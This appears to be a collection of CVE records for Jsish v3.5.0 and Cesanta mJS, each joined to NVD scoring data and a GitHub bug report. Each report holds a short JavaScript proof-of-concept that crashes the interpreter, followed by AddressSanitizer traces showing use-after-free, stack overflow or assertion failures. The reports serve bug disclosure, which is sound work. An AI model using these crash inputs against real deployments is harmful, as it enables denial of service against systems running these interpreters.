```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = [
'aa',
'bb',
'cc'
];
var results = JSEtest;
JSEtest.findIndex(function (kV) {
JSEtest.sort(function (str, position) {
results.push(kV);
});
});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==106201==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000018678 at pc 0x56468deff5a0 bp 0x7fff9a37c2a0 sp 0x7fff9a37c290
READ of size 8 at 0x60c000018678 thread T0
#0 0x56468deff59f in SortSubCmd src/jsiArray.c:958
#1 0x7fb68d0b0311 (/lib/x86_64-linux-gnu/libc.so.6+0x42311)
#2 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d)
#3 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d)
#4 0x7fb68d0b06b5 in qsort_r (/lib/x86_64-linux-gnu/libc.so.6+0x426b5)
#5 0x56468df02611 in jsi_ArraySortCmd src/jsiArray.c:1065
#6 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244
#7 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796
#8 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837
#9 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264
#10 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204
#11 0x56468ded0834 in jsi_FuncCallSub src/jsiProto.c:220
#12 0x56468de4cfec in jsi_FunctionInvoke src/jsiFunc.c:777
#13 0x56468de4cfec in Jsi_FunctionInvoke src/jsiFunc.c:789
#14 0x56468df0dc0b in jsi_ArrayFindSubCmd src/jsiArray.c:576
#15 0x56468df0dc0b in jsi_ArrayFindIndexCmd src/jsiArray.c:666
#16 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244
#17 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796
#18 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837
#19 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264
#20 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204
#21 0x56468e1b1274 in jsi_evalStrFile src/jsiEval.c:2665
#22 0x56468dea066a in Jsi_Main src/jsiInterp.c:936
#23 0x56468e6a503a in jsi_main src/main.c:47
#24 0x7fb68d08fbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#25 0x56468de34969 in _start (/usr/local/bin/jsish+0xe8969)
0x60c000018678 is located 56 bytes inside of 128-byte region [0x60c000018640,0x60c0000186c0)
freed by thread T0 here:
#0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47
previously allocated by thread T0 here:
#0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiArray.c:958 in SortSubCmd
Shadow bytes around the buggy address:
0x0c187fffb070: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c187fffb080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c187fffb090: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c187fffb0a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c187fffb0b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c187fffb0c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd]
0x0c187fffb0d0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c187fffb0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c187fffb0f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c187fffb100: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c187fffb110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==106201==ABORTING
``` | Heap-use-after-free src/jsiArray.c:958 in SortSubCmd | https://api.github.com/repos/pcmacdon/jsish/issues/86/comments | 0 | 2021-12-24T10:52:55Z | 2021-12-26T22:47:42Z | https://github.com/pcmacdon/jsish/issues/86 | 1,088,313,466 | 86 |
CVE-2021-46502 | 2022-01-27T21:15:09.143 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d. This vulnerability can lead to a Denial of Service (DoS). | {
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"version": "3.1"
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
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"Third Party Advisory"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var x = 3;
if (("ab".replace("b", "ab".constructor).replace("b", "ab".constructor)!=="aa") || (x!==undefined)) {
throw "Err-value!";
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=====ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001cf3 at pc 0x7fae379c366e bp 0x7ffdcb94e5a0 sp 0x7ffdcb94dd48
READ of size 2 at 0x602000001cf3 thread T0
#0 0x7fae379c366d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x55927a403f60 in Jsi_Strlen src/jsiChar.c:29
#2 0x55927a508a57 in Jsi_DSAppendLen src/jsiDString.c:99
#3 0x55927a508e7f in Jsi_DSAppend src/jsiDString.c:129
#4 0x55927a40d4b8 in StringReplaceCmd src/jsiString.c:705
#5 0x55927a3ed818 in jsi_FuncCallSub src/jsiProto.c:244
#6 0x55927a6b771a in jsiFunctionSubCall src/jsiEval.c:796
#7 0x55927a6b771a in jsiEvalFunction src/jsiEval.c:837
#8 0x55927a6b771a in jsiEvalCodeSub src/jsiEval.c:1264
#9 0x55927a6cb15e in jsi_evalcode src/jsiEval.c:2204
#10 0x55927a6cf274 in jsi_evalStrFile src/jsiEval.c:2665
#11 0x55927a3be66a in Jsi_Main src/jsiInterp.c:936
#12 0x55927abc303a in jsi_main src/main.c:47
#13 0x7fae36de1bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#14 0x55927a352969 in _start (/usr/local/bin/jsish+0xe8969)
0x602000001cf4 is located 0 bytes to the right of 4-byte region [0x602000001cf0,0x602000001cf4)
freed by thread T0 here:
#0 0x7fae37a507a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x55927a412c19 in StringConstructor src/jsiString.c:33
previously allocated by thread T0 here:
#0 0x7fae37a50b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x55927a3c3a22 in Jsi_Malloc src/jsiUtils.c:52
SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd
0x0c047fff8370: fa fa 00 07 fa fa 00 fa fa fa 00 00 fa fa 00 00
0x0c047fff8380: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8390: fa fa 00 00 fa fa fd fa fa fa fd fa fa fa[fd]fa
0x0c047fff83a0: fa fa fd fa fa fa 04 fa fa fa fa fa fa fa fa fa
0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d) | https://api.github.com/repos/pcmacdon/jsish/issues/87/comments | 0 | 2021-12-24T10:53:39Z | 2021-12-26T22:08:17Z | https://github.com/pcmacdon/jsish/issues/87 | 1,088,313,832 | 87 |
CVE-2021-46503 | 2022-01-27T21:15:09.187 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732. This vulnerability can lead to a Denial of Service (DoS). | {
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
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"confidentialityImpact": "NONE",
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"privilegesRequired": "NONE",
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
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"source": "[email protected]",
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
try {
var JSEtest = new String('test string');
var At = JSEtest.constructor(JSEtest);
} catch (e) {
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==88163==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001bf0 at pc 0x7f8c725b9733 bp 0x7ffeb1c188d0 sp 0x7ffeb1c18078
READ of size 11 at 0x602000001bf0 thread T0
#0 0x7f8c725b9732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x5576fd6ba249 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x5576fd6ba249 in Jsi_StrdupLen src/jsiChar.c:74
#3 0x5576fd6c8ac0 in StringConstructor src/jsiString.c:35
#4 0x5576fd6a3818 in jsi_FuncCallSub src/jsiProto.c:244
#5 0x5576fd96d71a in jsiFunctionSubCall src/jsiEval.c:796
#6 0x5576fd96d71a in jsiEvalFunction src/jsiEval.c:837
#7 0x5576fd96d71a in jsiEvalCodeSub src/jsiEval.c:1264
#8 0x5576fd98115e in jsi_evalcode src/jsiEval.c:2204
#9 0x5576fd985274 in jsi_evalStrFile src/jsiEval.c:2665
#10 0x5576fd67466a in Jsi_Main src/jsiInterp.c:936
#11 0x5576fde7903a in jsi_main src/main.c:47
#12 0x7f8c719afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#13 0x5576fd608969 in _start (/usr/local/bin/jsish+0xe8969)
0x602000001bf0 is located 0 bytes inside of 12-byte region [0x602000001bf0,0x602000001bfc)
freed by thread T0 here:
#0 0x7f8c7261e7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5576fd6c8c19 in StringConstructor src/jsiString.c:33
previously allocated by thread T0 here:
#0 0x7f8c7261eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x5576fd679a22 in Jsi_Malloc src/jsiUtils.c:52
SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c047fff8320: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8340: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8350: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8360: fa fa fd fd fa fa fd fd fa fa 07 fa fa fa fd fd
=>0x0c047fff8370: fa fa 00 07 fa fa 00 00 fa fa 00 04 fa fa[fd]fd
0x0c047fff8380: fa fa 00 04 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==88163==ABORTING
```
| Heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) | https://api.github.com/repos/pcmacdon/jsish/issues/88/comments | 0 | 2021-12-24T10:54:21Z | 2021-12-26T20:57:24Z | https://github.com/pcmacdon/jsish/issues/88 | 1,088,314,163 | 88 |
CVE-2021-46504 | 2022-01-27T21:15:09.233 | There is an Assertion 'vp != resPtr' failed at jsiEval.c in Jsish v3.5.0. | {
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"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
(function(){
var JSEtest = 1;
for (var __loopvar3 = 0; JSEtest.length < (1) && __loopvar3 < 3; JSEtest.length++ + __loopvar3++) {
JSEtest = 1;
}
})();
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
jsish: src/jsiEval.c:1020: jsiEvalSubscript: Assertion `vp != resPtr' failed.
[2] 11225 abort jsish poc.js
```
Credits: Found by hopefly from OWL337. | Assertion `vp != resPtr' failed at jsiEval.c:1020: jsiEvalSubscript. | https://api.github.com/repos/pcmacdon/jsish/issues/51/comments | 0 | 2021-12-24T09:40:19Z | 2022-01-12T02:02:10Z | https://github.com/pcmacdon/jsish/issues/51 | 1,088,275,965 | 51 |
CVE-2021-46505 | 2022-01-27T21:15:09.277 | Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/53"
}
] | [
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] | https://github.com/pcmacdon/jsish/issues/53 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest(Function) {
var a = Array.prototype.push.call(a, 42, 43);
}
for (var i = 0; i < 25000; i++) {
JSEtest(Array);
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
#0 0x7f6abd3fb1e5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
#1 0x5571122680fd in Jsi_NameLookup src/jsiUtils.c:413
#2 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#3 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
#4 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#5 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
#6 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#7 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
#8 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#9 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
...... ...... ......
...... ...... ......
#246 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#247 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
#248 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
#249 0x5571122683cb in Jsi_NameLookup src/jsiUtils.c:466
#250 0x557112211b51 in jsi_ValueSubscript src/jsiValue.c:1119
SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING
```
Credits: Found by OWL337 team. | Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) | https://api.github.com/repos/pcmacdon/jsish/issues/53/comments | 0 | 2021-12-24T09:43:02Z | 2022-01-12T02:11:35Z | https://github.com/pcmacdon/jsish/issues/53 | 1,088,277,342 | 53 |
CVE-2021-46506 | 2022-01-27T21:15:09.323 | There is an Assertion 'v->d.lval != v' failed at src/jsiValue.c in Jsish v3.5.0. | {
"cvssMetricV2": [
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"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/52"
}
] | [
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function applyTags(text, open, close, action) {
var openTags = arguments;
var lastOcr = text.indexOf(open), nextOpen, nextClose, iniBlock, updBlock;
if (openTags.pop()) {
openTags.push(lastOcr);
}
while (openTags.length > 0) {
lastOcr = action;
nextOpen = text.indexOf(open, lastOcr + open.length);
nextClose = text.indexOf(close, lastOcr + open.length);
}
return text;
}
function JSEtest(text) {
return text.toUpperCase();
}
var text = '<lowcase> YEAH! </lowcase> Some <upcase> random <upcase> text </upcase> to </up$
text = applyTags(text, '<upcase>', '</upcase>', JSEtest);
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
/home/user/poc.js:9: bug: Convert a unknown type: 0x6 to number (at or near "length")
/home/user/poc.js:10: bug: Convert a unknown type: 0x6 to number (at or near "length")
jsish: src/jsiValue.c:181: ValueFree: Assertion `v->d.lval != v' failed.
[2] 116137 abort jsish poc.js
```
Credits: Found by OWL337 team. | Assertion `v->d.lval != v' failed at src/jsiValue.c:181: ValueFree. | https://api.github.com/repos/pcmacdon/jsish/issues/52/comments | 0 | 2021-12-24T09:41:38Z | 2022-01-12T02:03:28Z | https://github.com/pcmacdon/jsish/issues/52 | 1,088,276,639 | 52 |
CVE-2021-46507 | 2022-01-27T21:15:09.367 | Jsish v3.5.0 was discovered to contain a stack overflow via Jsi_LogMsg at src/jsiUtils.c. | {
"cvssMetricV2": [
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
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}
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"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/54"
}
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] | https://github.com/pcmacdon/jsish/issues/54 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case1
```javascript
WebSocket({
"a": 2.3023e-320
})
```
###### Test case2
```javascript
var JSEtest = times(function () {
WebSocket({
'red': (new Object(null % null))
});
}) < times(log(null % null));
assert.sameValue(JSEtest.length, 2, 'newArr.length');
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
ASAN:DEADLYSIGNAL
=================================================================
ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0)
#0 0x55d8eb693013 in Jsi_LogMsg src/jsiUtils.c:151
#1 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
#2 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
#3 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
#4 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
#5 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
#6 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
...... ...... ......
...... ...... ......
#246 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
#247 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
#248 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
#249 0x55d8eb655e02 in Jsi_ValueToString src/jsiValue.c:526
#250 0x55d8eb693929 in Jsi_LogMsg src/jsiUtils.c:229
SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg
====ABORTING
```
Credits: Found by OWL337 team. | Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg | https://api.github.com/repos/pcmacdon/jsish/issues/54/comments | 0 | 2021-12-24T09:43:48Z | 2022-01-12T02:11:46Z | https://github.com/pcmacdon/jsish/issues/54 | 1,088,277,734 | 54 |
CVE-2021-46508 | 2022-01-27T21:15:09.413 | There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0. | {
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/188"
}
] | [
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
mjs: src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t): Assertion `i < parts_cnt' failed.
[1] 88797 abort mjs poc.js
```
Credits: Found by OWL337 team. | Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t). | https://api.github.com/repos/cesanta/mjs/issues/188/comments | 0 | 2021-12-31T05:23:32Z | 2022-01-12T02:18:33Z | https://github.com/cesanta/mjs/issues/188 | 1,091,424,362 | 188 |
CVE-2021-46509 | 2022-01-27T21:15:09.460 | Cesanta MJS v2.20.0 was discovered to contain a stack overflow via snquote at mjs/src/mjs_json.c. | {
"cvssMetricV2": [
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},
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"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
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}
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"Patch",
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
